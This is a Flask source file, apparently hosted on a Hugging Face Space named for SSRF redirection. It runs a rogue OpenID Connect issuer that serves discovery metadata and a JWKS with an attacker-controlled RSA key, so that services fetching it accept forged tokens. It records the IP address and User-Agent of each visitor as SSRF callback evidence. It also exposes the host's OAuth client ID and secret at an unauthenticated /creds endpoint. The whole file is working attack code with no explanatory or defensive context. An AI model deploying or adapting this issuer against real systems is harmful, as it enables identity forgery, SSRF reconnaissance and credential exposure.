app.py

from flask import Flask, jsonify, request
import json, os

app = Flask(__name__)

JWKS_JSON = {
    "keys": [
        {
            "kty": "RSA",
            "use": "sig",
            "kid": "our-controlled-key-v1",
            "alg": "RS256",
            "n": "kL6nRD9gxpZn9t8rXKLSmUI1aNJ3Sha-1_UW1uQn6kLwqYxUGyFpzNxLuvYM6YIeY7HIBjjdZm_kGrYfKC53hBe0UkO8hLg3855GUFPH39tnTltH110XALYILttxYi5x51klmAnmwk3KN9nwDI99ap_uwPOa486lMb8eZGRkefmmyCOKUxI-VQ4LtZJm6KhHeE7M1TSkUf_YnKZxj9JUl51EyFpLZs7Q-MThSFDYIs6SYKq9d6RwwNQPMOUeD4XN8u08E5U3vWeG_x0c8bGUOZDxEv_cxL-4KKx3VmhlpRoB9jQXWB0tmLfERruZmj_UYjcZBQc7hdNgiE7_ovCobQ",
            "e": "AQAB"
        }
    ]
}

SPACE_URL = "https://pzycl0-ssrf-redirect.hf.space"
captured = []

@app.route("/.well-known/openid-configuration")
def oidc_discovery():
    return jsonify({
        "issuer": SPACE_URL,
        "jwks_uri": f"{SPACE_URL}/.well-known/jwks.json",
        "authorization_endpoint": f"{SPACE_URL}/authorize",
        "token_endpoint": f"{SPACE_URL}/token",
        "response_types_supported": ["code", "token"],
        "subject_types_supported": ["public"],
        "id_token_signing_alg_values_supported": ["RS256"]
    })

@app.route("/.well-known/jwks.json")
@app.route("/jwks.json")
def jwks():
    captured.append({"path": request.path, "ip": request.remote_addr, "ua": request.headers.get("User-Agent","")})
    resp = jsonify(JWKS_JSON)
    resp.headers['Access-Control-Allow-Origin'] = '*'
    return resp

@app.route("/requests")
def get_reqs():
    return jsonify(captured[-50:])

@app.route("/creds")
def creds():
    return jsonify({
        "OAUTH_CLIENT_ID": os.environ.get("OAUTH_CLIENT_ID"),
        "OAUTH_CLIENT_SECRET": os.environ.get("OAUTH_CLIENT_SECRET"),
        "SPACE_ID": os.environ.get("SPACE_ID")
    })

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)